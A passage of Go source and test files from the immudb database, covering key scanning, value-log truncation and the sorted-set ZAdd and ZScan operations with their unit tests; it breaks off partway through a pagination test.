[]*schema.KeyValue{{Key: []byte(`abc`), Value: []byte(`item3`)}}}) require.NoError(t, err) item, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`abc`), SinceTx: meta.Id}) require.Equal(t, []byte(`abc`), item.Key) require.NoError(t, err) _, err = db.Scan(context.Background(), nil) require.Equal(t, store.ErrIllegalArguments, err) _, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`acb`), Value: []byte(`item4`)}}}) require.NoError(t, err) scanOptions = schema.ScanRequest{ SeekKey: []byte(`b`), Prefix: []byte(`a`), Limit: uint64(db.MaxResultSize() + 1), Desc: true, } _, err = db.Scan(context.Background(), &scanOptions) require.ErrorIs(t, err, ErrResultSizeLimitExceeded) scanOptions = schema.ScanRequest{ SeekKey: []byte(`b`), Prefix: []byte(`a`), Limit: 0, Desc: true, } list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 3, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`acb`)) require.Equal(t, list.Entries[0].Value, []byte(`item4`)) require.Equal(t, list.Entries[1].Key, []byte(`abc`)) require.Equal(t, list.Entries[1].Value, []byte(`item3`)) require.Equal(t, list.Entries[2].Key, []byte(`aaa`)) require.Equal(t, list.Entries[2].Value, []byte(`item1`)) scanOptions1 := schema.ScanRequest{ SeekKey: []byte(`a`), Prefix: nil, Limit: 0, Desc: false, } list1, err := db.Scan(context.Background(), &scanOptions1) require.NoError(t, err) require.Exactly(t, 3, len(list1.Entries)) require.Equal(t, list1.Entries[0].Key, []byte(`aaa`)) require.Equal(t, list1.Entries[0].Value, []byte(`item1`)) require.Equal(t, list1.Entries[1].Key, []byte(`abc`)) require.Equal(t, list1.Entries[1].Value, []byte(`item3`)) require.Equal(t, list1.Entries[2].Key, []byte(`acb`)) require.Equal(t, list1.Entries[2].Value, []byte(`item4`)) } func TestStoreScanPrefix(t *testing.T) { db := makeDb(t) db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix1`), Value: []byte(`item1`)}}}) db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix2`), Value: []byte(`item2`)}}}) meta, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix3`), Value: []byte(`item3`)}}}) require.NoError(t, err) scanOptions := schema.ScanRequest{ SeekKey: nil, Prefix: []byte(`prefix:`), Limit: 0, Desc: false, SinceTx: meta.Id, } list, err := db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 3, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix1`)) require.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix2`)) require.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix3`)) scanOptions = schema.ScanRequest{ SeekKey: []byte(`prefix?`), Prefix: []byte(`prefix:`), Limit: 0, Desc: true, SinceTx: meta.Id, } list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 3, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix3`)) require.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix2`)) require.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix1`)) } func TestStoreScanDesc(t *testing.T) { db := makeDb(t) db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`item1`)}}}) db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`item2`)}}}) meta, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`item3`)}}}) require.NoError(t, err) scanOptions := schema.ScanRequest{ SeekKey: []byte(`k`), Prefix: []byte(`key`), Limit: 0, Desc: false, SinceTx: meta.Id, } list, err := db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 3, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`key1`)) require.Equal(t, list.Entries[1].Key, []byte(`key2`)) require.Equal(t, list.Entries[2].Key, []byte(`key3`)) scanOptions = schema.ScanRequest{ SeekKey: []byte(`key22`), Prefix: []byte(`key`), Limit: 0, Desc: true, SinceTx: meta.Id, } list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 2, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`key2`)) require.Equal(t, list.Entries[1].Key, []byte(`key1`)) scanOptions = schema.ScanRequest{ SeekKey: []byte(`key2`), Prefix: []byte(`key`), Limit: 0, Desc: true, SinceTx: meta.Id, } list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Exactly(t, 1, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`key1`)) scanOptions = schema.ScanRequest{ SeekKey: nil, Prefix: []byte(`key`), Limit: 0, Desc: true, SinceTx: meta.Id, } list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Len(t, list.Entries, 3) } func TestStoreScanEndKey(t *testing.T) { db := makeDb(t) for i := 1; i < 100; i++ { _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{ Key: []byte(fmt.Sprintf("key_%02d", i)), Value: []byte(fmt.Sprintf("val_%02d", i)), }}}) require.NoError(t, err) } t.Run("not inclusive", func(t *testing.T) { res, err := db.Scan(context.Background(), &schema.ScanRequest{ SeekKey: []byte("key_11"), EndKey: []byte("key_44"), }) require.NoError(t, err) require.Len(t, res.Entries, 44-12) for i := 12; i < 44; i++ { require.Equal(t, res.Entries[i-12].Key, []byte(fmt.Sprintf("key_%02d", i))) require.Equal(t, res.Entries[i-12].Value, []byte(fmt.Sprintf("val_%02d", i))) } }) t.Run("inclusive seek", func(t *testing.T) { res, err := db.Scan(context.Background(), &schema.ScanRequest{ SeekKey: []byte("key_11"), EndKey: []byte("key_44"), InclusiveSeek: true, }) require.NoError(t, err) require.Len(t, res.Entries, 44-11) for i := 11; i < 44; i++ { require.Equal(t, res.Entries[i-11].Key, []byte(fmt.Sprintf("key_%02d", i))) require.Equal(t, res.Entries[i-11].Value, []byte(fmt.Sprintf("val_%02d", i))) } }) t.Run("inclusive end", func(t *testing.T) { res, err := db.Scan(context.Background(), &schema.ScanRequest{ SeekKey: []byte("key_11"), EndKey: []byte("key_44"), InclusiveEnd: true, }) require.NoError(t, err) require.Len(t, res.Entries, 44-11) for i := 12; i <= 44; i++ { require.Equal(t, res.Entries[i-12].Key, []byte(fmt.Sprintf("key_%02d", i))) require.Equal(t, res.Entries[i-12].Value, []byte(fmt.Sprintf("val_%02d", i))) } }) t.Run("inclusive seek and end", func(t *testing.T) { res, err := db.Scan(context.Background(), &schema.ScanRequest{ SeekKey: []byte("key_11"), EndKey: []byte("key_44"), InclusiveSeek: true, InclusiveEnd: true, }) require.NoError(t, err) require.Len(t, res.Entries, 44-10) for i := 11; i <= 44; i++ { require.Equal(t, res.Entries[i-11].Key, []byte(fmt.Sprintf("key_%02d", i))) require.Equal(t, res.Entries[i-11].Value, []byte(fmt.Sprintf("val_%02d", i))) } }) } func TestStoreScanWithTruncation(t *testing.T) { rootPath := t.TempDir() fileSize := 8 options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 options.storeOpts.VLogCacheSize = 0 options.storeOpts.EmbeddedValues = false db := makeDbWith(t, "db", options) for i := 1; i < 10; i++ { _, err := db.Set( context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte(fmt.Sprintf("prefix:suffix%d", i)), Value: []byte(`item`), }}, }, ) require.NoError(t, err) } deletePointTx := uint64(5) t.Run("ensure data is truncated until the deletion point", func(t *testing.T) { c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), deletePointTx)) for i := deletePointTx; i < 10; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err := db.st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.NoError(t, err) } } for i := deletePointTx - 1; i > 0; i-- { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err := db.st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.Error(t, err) } } }) t.Run("ensure scanning prefix works post data deletion", func(t *testing.T) { scanOptions := schema.ScanRequest{ Prefix: []byte(`prefix:`), Desc: false, } list, err := db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Equal(t, 5, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix5`)) require.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix6`)) require.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix7`)) require.Equal(t, list.Entries[3].Key, []byte(`prefix:suffix8`)) require.Equal(t, list.Entries[4].Key, []byte(`prefix:suffix9`)) scanOptions = schema.ScanRequest{ Prefix: []byte(`prefix:`), Desc: true, } list, err = db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.Equal(t, 5, len(list.Entries)) require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix9`)) require.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix8`)) require.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix7`)) require.Equal(t, list.Entries[3].Key, []byte(`prefix:suffix6`)) require.Equal(t, list.Entries[4].Key, []byte(`prefix:suffix5`)) }) } ================================================ FILE: pkg/database/sorted_set.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "encoding/binary" "errors" "fmt" "io" "math" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" ) const setLenLen = 8 const scoreLen = 8 const keyLenLen = 8 const txIDLen = 8 // ZAdd adds a score for an existing key in a sorted set // As a parameter of ZAddOptions is possible to provide the associated index of the provided key. In this way, when resolving reference, the specified version of the key will be returned. // If the index is not provided the resolution will use only the key and last version of the item will be returned // If ZAddOptions.index is provided key is optional func (d *db) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) { if req == nil || len(req.Set) == 0 || len(req.Key) == 0 { return nil, store.ErrIllegalArguments } if (req.AtTx == 0 && req.BoundRef) || (req.AtTx > 0 && !req.BoundRef) { return nil, store.ErrIllegalArguments } d.mutex.Lock() defer d.mutex.Unlock() if d.isReplica() { return nil, ErrIsReplica } lastTxID, _ := d.st.CommittedAlh() err := d.st.WaitForIndexingUpto(ctx, lastTxID) if err != nil { return nil, err } // check referenced key exists and it's not a reference key := EncodeKey(req.Key) refEntry, err := d.getAtTx(ctx, key, req.AtTx, 0, d.st, 0, true) if err != nil { return nil, err } if refEntry.ReferencedBy != nil { return nil, ErrReferencedKeyCannotBeAReference } tx, err := d.st.NewWriteOnlyTx(ctx) if err != nil { return nil, err } defer tx.Cancel() e := EncodeZAdd(req.Set, req.Score, key, req.AtTx) err = tx.Set(e.Key, e.Metadata, e.Value) if err != nil { return nil, err } var hdr *store.TxHeader if req.NoWait { hdr, err = tx.AsyncCommit(ctx) } else { hdr, err = tx.Commit(ctx) } if err != nil { return nil, err } return schema.TxHeaderToProto(hdr), nil } // ZScan ... func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) { if req == nil || len(req.Set) == 0 { return nil, store.ErrIllegalArguments } if req.Limit > uint64(d.maxResultSize) { return nil, fmt.Errorf("%w: the specified limit (%d) is larger than the maximum allowed one (%d)", ErrResultSizeLimitExceeded, req.Limit, d.maxResultSize) } limit := int(req.Limit) if req.Limit == 0 { limit = d.maxResultSize } d.mutex.RLock() defer d.mutex.RUnlock() currTxID, _ := d.st.CommittedAlh() if req.SinceTx > currTxID { return nil, ErrIllegalArguments } prefix := make([]byte, 1+setLenLen+len(req.Set)) prefix[0] = SortedSetKeyPrefix binary.BigEndian.PutUint64(prefix[1:], uint64(len(req.Set))) copy(prefix[1+setLenLen:], req.Set) var seekKey []byte if len(req.SeekKey) == 0 { seekKey = make([]byte, len(prefix)+scoreLen) copy(seekKey, prefix) // here we compose the offset if Min score filter is provided only if is not reversed order if req.MinScore != nil && !req.Desc { binary.BigEndian.PutUint64(seekKey[len(prefix):], math.Float64bits(req.MinScore.Score)) } // here we compose the offset if Max score filter is provided only if is reversed order if req.Desc { var maxScore float64 if req.MaxScore == nil { maxScore = math.MaxFloat64 } else { maxScore = req.MaxScore.Score } binary.BigEndian.PutUint64(seekKey[len(prefix):], math.Float64bits(maxScore)) } } else { seekKey = make([]byte, len(prefix)+scoreLen+keyLenLen+1+len(req.SeekKey)+txIDLen) copy(seekKey, prefix) binary.BigEndian.PutUint64(seekKey[len(prefix):], math.Float64bits(req.SeekScore)) binary.BigEndian.PutUint64(seekKey[len(prefix)+scoreLen:], uint64(1+len(req.SeekKey))) copy(seekKey[len(prefix)+scoreLen+keyLenLen:], EncodeKey(req.SeekKey)) binary.BigEndian.PutUint64(seekKey[len(prefix)+scoreLen+keyLenLen+1+len(req.SeekKey):], req.SeekAtTx) } zsnap, err := d.snapshotSince(ctx, []byte{SortedSetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } defer zsnap.Close() r, err := zsnap.NewKeyReader( store.KeyReaderSpec{ SeekKey: seekKey, Prefix: prefix, InclusiveSeek: req.InclusiveSeek, DescOrder: req.Desc, Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, Offset: req.Offset, }) if err != nil { return nil, err } defer r.Close() kvsnap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } defer kvsnap.Close() entries := &schema.ZEntries{} for l := 1; l <= limit; l++ { zKey, _, err := r.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { return nil, err } // zKey = [1+setLenLen+len(req.Set)+scoreLen+keyLenLen+1+len(req.Key)+txIDLen] scoreOff := 1 + setLenLen + len(req.Set) scoreB := binary.BigEndian.Uint64(zKey[scoreOff:]) score := math.Float64frombits(scoreB) // Guard to ensure that score match the filter range if filter is provided if req.MinScore != nil && score < req.MinScore.Score { continue } if req.MaxScore != nil && score > req.MaxScore.Score { continue } keyOff := scoreOff + scoreLen + keyLenLen key := make([]byte, len(zKey)-keyOff-txIDLen) copy(key, zKey[keyOff:]) atTx := binary.BigEndian.Uint64(zKey[keyOff+len(key):]) e, err := d.getAtTx(ctx, key, atTx, 1, kvsnap, 0, true) if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, io.EOF) { continue // ignore deleted or truncated ones (referenced key may have been deleted or truncated) } if err != nil { return nil, err } zentry := &schema.ZEntry{ Set: req.Set, Key: key[1:], Entry: e, Score: score, AtTx: atTx, } entries.Entries = append(entries.Entries, zentry) } return entries, nil } // VerifiableZAdd ... func (d *db) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { if req == nil { return nil, store.ErrIllegalArguments } lastTxID, _ := d.st.CommittedAlh() if lastTxID < req.ProveSinceTx { return nil, store.ErrIllegalArguments } lastTx, err := d.allocTx() if err != nil { return nil, err } defer d.releaseTx(lastTx) txMetatadata, err := d.ZAdd(ctx, req.ZAddRequest) if err != nil { return nil, err } err = d.st.ReadTx(uint64(txMetatadata.Id), false, lastTx) if err != nil { return nil, err } var prevTxHdr *store.TxHeader if req.ProveSinceTx == 0 { prevTxHdr = lastTx.Header() } else { prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } } dualProof, err := d.st.DualProof(prevTxHdr, lastTx.Header()) if err != nil { return nil, err } return &schema.VerifiableTx{ Tx: schema.TxToProto(lastTx), DualProof: schema.DualProofToProto(dualProof), }, nil } ================================================ FILE: pkg/database/sorted_set_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "math" "testing" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestStoreIndexExists(t *testing.T) { db := makeDb(t) db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`myFirstElementKey`), Value: []byte(`firstValue`)}}}) db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`mySecondElementKey`), Value: []byte(`secondValue`)}}}) _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`myThirdElementKey`), Value: []byte(`thirdValue`)}}}) require.NoError(t, err) zaddOpts1 := &schema.ZAddRequest{ Key: []byte(`myFirstElementKey`), Set: []byte(`firstIndex`), Score: float64(14.6), } reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) require.Exactly(t, uint64(4), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ Key: []byte(`mySecondElementKey`), Set: []byte(`firstIndex`), Score: float64(6), } reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) require.Exactly(t, uint64(5), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts2 = &schema.ZAddRequest{ Key: []byte(`mySecondElementKey`), Set: []byte(`firstIndex`), Score: float64(6), AtTx: 0, BoundRef: true, } _, err2 = db.ZAdd(context.Background(), zaddOpts2) require.ErrorIs(t, err2, ErrIllegalArguments) zaddOpts3 := &schema.ZAddRequest{ Key: []byte(`myThirdElementKey`), Set: []byte(`firstIndex`), Score: float64(14.5), } reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) require.Exactly(t, uint64(6), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts := &schema.ZScanRequest{ Set: []byte(`firstIndex`), Limit: uint64(db.MaxResultSize() + 1), } _, err = db.ZScan(context.Background(), zscanOpts) require.ErrorIs(t, err, ErrResultSizeLimitExceeded) //try to retrieve directly the value or full scan to debug zscanOpts1 := &schema.ZScanRequest{ Set: []byte(`firstIndex`), } itemList1, err := db.ZScan(context.Background(), zscanOpts1) require.NoError(t, err) require.Len(t, itemList1.Entries, 3) require.Equal(t, []byte(`mySecondElementKey`), itemList1.Entries[0].Entry.Key) require.Equal(t, []byte(`myThirdElementKey`), itemList1.Entries[1].Entry.Key) require.Equal(t, []byte(`myFirstElementKey`), itemList1.Entries[2].Entry.Key) zscanOpts2 := &schema.ZScanRequest{ Set: []byte(`firstIndex`), MaxScore: &schema.Score{Score: 100.0}, Desc: true, } itemList2, err := db.ZScan(context.Background(), zscanOpts2) require.NoError(t, err) require.Len(t, itemList2.Entries, 3) require.Equal(t, []byte(`myFirstElementKey`), itemList2.Entries[0].Entry.Key) require.Equal(t, []byte(`myThirdElementKey`), itemList2.Entries[1].Entry.Key) require.Equal(t, []byte(`mySecondElementKey`), itemList2.Entries[2].Entry.Key) } func TestStoreIndexEqualKeys(t *testing.T) { db := makeDb(t) _, err := db.ZAdd(context.Background(), nil) require.ErrorIs(t, err, store.ErrIllegalArguments) i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) i2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}}) i3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}}) i, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`SignerId1`), AtTx: i1.Id, BoundRef: true}) require.NoError(t, err) zaddOpts := &schema.ZAddRequest{ Set: []byte(`hashA`), Score: float64(1), Key: []byte(`myTag1`), AtTx: i.Id, BoundRef: true, } _, err = db.ZAdd(context.Background(), zaddOpts) require.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference) zaddOpts1 := &schema.ZAddRequest{ Set: []byte(`hashA`), Score: float64(1), Key: []byte(`SignerId1`), AtTx: i1.Id, BoundRef: true, } reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) require.Exactly(t, uint64(5), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ Key: []byte(`SignerId1`), Set: []byte(`hashA`), Score: float64(2), AtTx: i2.Id, BoundRef: true, } reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) require.Exactly(t, uint64(6), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts3 := &schema.ZAddRequest{ Key: []byte(`SignerId2`), Set: []byte(`hashA`), Score: float64(3), AtTx: i3.Id, BoundRef: true, } reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) require.Exactly(t, uint64(7), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts1 := &schema.ZScanRequest{ Set: []byte(`hashA`), Desc: false, SinceTx: reference3.Id, } itemList1, err := db.ZScan(context.Background(), zscanOpts1) require.NoError(t, err) require.Len(t, itemList1.Entries, 3) require.Equal(t, []byte(`SignerId1`), itemList1.Entries[0].Entry.Key) require.Equal(t, []byte(`SignerId1`), itemList1.Entries[1].Entry.Key) require.Equal(t, []byte(`SignerId2`), itemList1.Entries[2].Entry.Key) } func TestStoreIndexEqualKeysEqualScores(t *testing.T) { db := makeDb(t) i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) i2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}}) i3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}}) score := float64(1.1) zaddOpts1 := &schema.ZAddRequest{ Set: []byte(`hashA`), Score: score, Key: []byte(`SignerId1`), AtTx: i1.Id, BoundRef: true, } reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) require.Exactly(t, uint64(4), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ Key: []byte(`SignerId1`), Set: []byte(`hashA`), Score: score, AtTx: i2.Id, BoundRef: true, } reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) require.Exactly(t, uint64(5), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts3 := &schema.ZAddRequest{ Key: []byte(`SignerId2`), Set: []byte(`hashA`), Score: score, AtTx: i3.Id, BoundRef: true, } reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) require.Exactly(t, uint64(6), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts1 := &schema.ZScanRequest{ Set: []byte(`hashA`), Desc: false, SinceTx: reference3.Id, } itemList1, err := db.ZScan(context.Background(), zscanOpts1) require.NoError(t, err) require.Len(t, itemList1.Entries, 3) require.Equal(t, []byte(`SignerId1`), itemList1.Entries[0].Entry.Key) require.Equal(t, []byte(`firstValue`), itemList1.Entries[0].Entry.Value) require.Equal(t, []byte(`SignerId1`), itemList1.Entries[1].Entry.Key) require.Equal(t, []byte(`secondValue`), itemList1.Entries[1].Entry.Value) require.Equal(t, []byte(`SignerId2`), itemList1.Entries[2].Entry.Key) require.Equal(t, []byte(`thirdValue`), itemList1.Entries[2].Entry.Value) } func TestStoreIndexEqualKeysMismatchError(t *testing.T) { db := makeDb(t) i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) zaddOpts1 := &schema.ZAddRequest{ Set: []byte(`hashA`), Score: float64(1), Key: []byte(`WrongKey`), AtTx: i1.Id, BoundRef: true, } _, err := db.ZAdd(context.Background(), zaddOpts1) require.ErrorIs(t, err, store.ErrKeyNotFound) } // TestStore_ZScanMinMax // set1 // key: key1, score: 1 // key: key2, score: 1 // key: key3, score: 2 // key: key4, score: 2 // key: key5, score: 2 // key: key6, score: 3/* func TestStore_ZScanPagination(t *testing.T) { db := makeDb(t) setName := []byte(`set1`) i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1`)}}}) i2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2`)}}}) i3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3`)}}}) i4, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key4`), Value: []byte(`val4`)}}}) i5, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key5`), Value: []byte(`val5`)}}}) i6, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key6`), Value: []byte(`val6`)}}}) zaddOpts1 := &schema.ZAddRequest{ Set: setName, Score: float64(1), Key: []byte(`key1`), AtTx: i1.Id, BoundRef: true, } zaddOpts2 := &schema.ZAddRequest{ Set: setName, Score: float64(1), Key: []byte(`key2`), AtTx: i2.Id, BoundRef: true, } zaddOpts3 := &schema.ZAddRequest{ Set: setName, Score: float64(2), Key: []byte(`key3`), AtTx: i3.Id, BoundRef: true, } zaddOpts4 := &schema.ZAddRequest{ Set: setName, Score: float64(2), Key: []byte(`key4`), AtTx: i4.Id, BoundRef: true, } zaddOpts5 := &schema.ZAddRequest{ Set: setName, Score: float64(2), Key: []byte(`key5`), AtTx: i5.Id, BoundRef: true, } zaddOpts6 := &schema.ZAddRequest{ Set: setName, Score: float64(3), Key: []byte(`key6`), AtTx: i6.Id, BoundRef: true, } db.ZAdd(context.Background(), zaddOpts1) db.ZAdd(context.Background(), zaddOpts2) db.ZAdd(context.Background(), zaddOpts3) db.ZAdd(context.Background(), zaddOpts4) db.ZAdd(context.Background(), zaddOpts5) meta, err := db.ZAdd(context.Background(), zaddOpts6) require.NoError(t, err) zScanOption0 := &schema.ZScanRequest{ Set: setName, MinScore: &schema.Score{Score: 20}, SinceTx: meta.Id, } list0, err := db.ZScan(context.Background(), zScanOption0) require.NoError(t, err) require.Empty(t, list0.Entries) zScanOption1 := &schema.ZScanRequest{ Set: setName, SeekKey: nil, Limit: 2, Desc: false, MinScore: &schema.Score{Score: 2}, MaxScore: &schema.Score{Score: 3}, SinceTx: meta.Id, } list1, err := db.ZScan(context.Background(), zScanOption1) require.NoError(t, err) require.Len(t, list1.Entries, 2) require.Equal(t, list1.Entries[0].Entry.Key, []byte(`key3`)) require.Equal(t, list1.Entries[1].Entry.Key, []byte(`key4`)) lastItem := list1.Entries[len(list1.Entries)-1] zScanOption2 := &schema.ZScanRequest{ Set: setName, SeekKey: lastItem.Key, SeekScore: lastItem.Score, SeekAtTx: lastItem.AtTx, Limit: 2, Desc: false, MinScore: &schema.Score{Score: 2}, MaxScore: &schema.Score{Score: 3}, SinceTx: meta.Id, } list, err := db.ZScan(context.Background(), zScanOption2) require.NoError(t, err) require.Len(t, list.Entries, 2) require.Equal(t, list.Entries[0].Entry.Key, []byte(`key5`)) require.Equal(t, list.Entries[1].Entry.Key, []byte(`key6`)) } // TestStore_ZScanMinMax // set1 // key: key1, score: 1 // key: key2, score: 1 // key: key3, score: 2 // key: key4, score: 2 // key: key5, score: 2 // key: key6, score: 3 func TestStore_ZScanReversePagination(t *testing.T) { db := makeDb(t) setName := []byte(`set1`) i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1`)}}}) i2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2`)}}}) i3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3`)}}}) i4, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key4`), Value: []byte(`val4`)}}}) i5, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key5`), Value: []byte(`val5`)}}}) i6, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key6`), Value: []byte(`val6`)}}}) zaddOpts1 := &schema.ZAddRequest{ Set: setName, Score: float64(1), Key: []byte(`key1`), AtTx: i1.Id, BoundRef: true, } zaddOpts2 := &schema.ZAddRequest{ Set: setName, Score: float64(1), Key: []byte(`key2`), AtTx: i2.Id, BoundRef: true, } 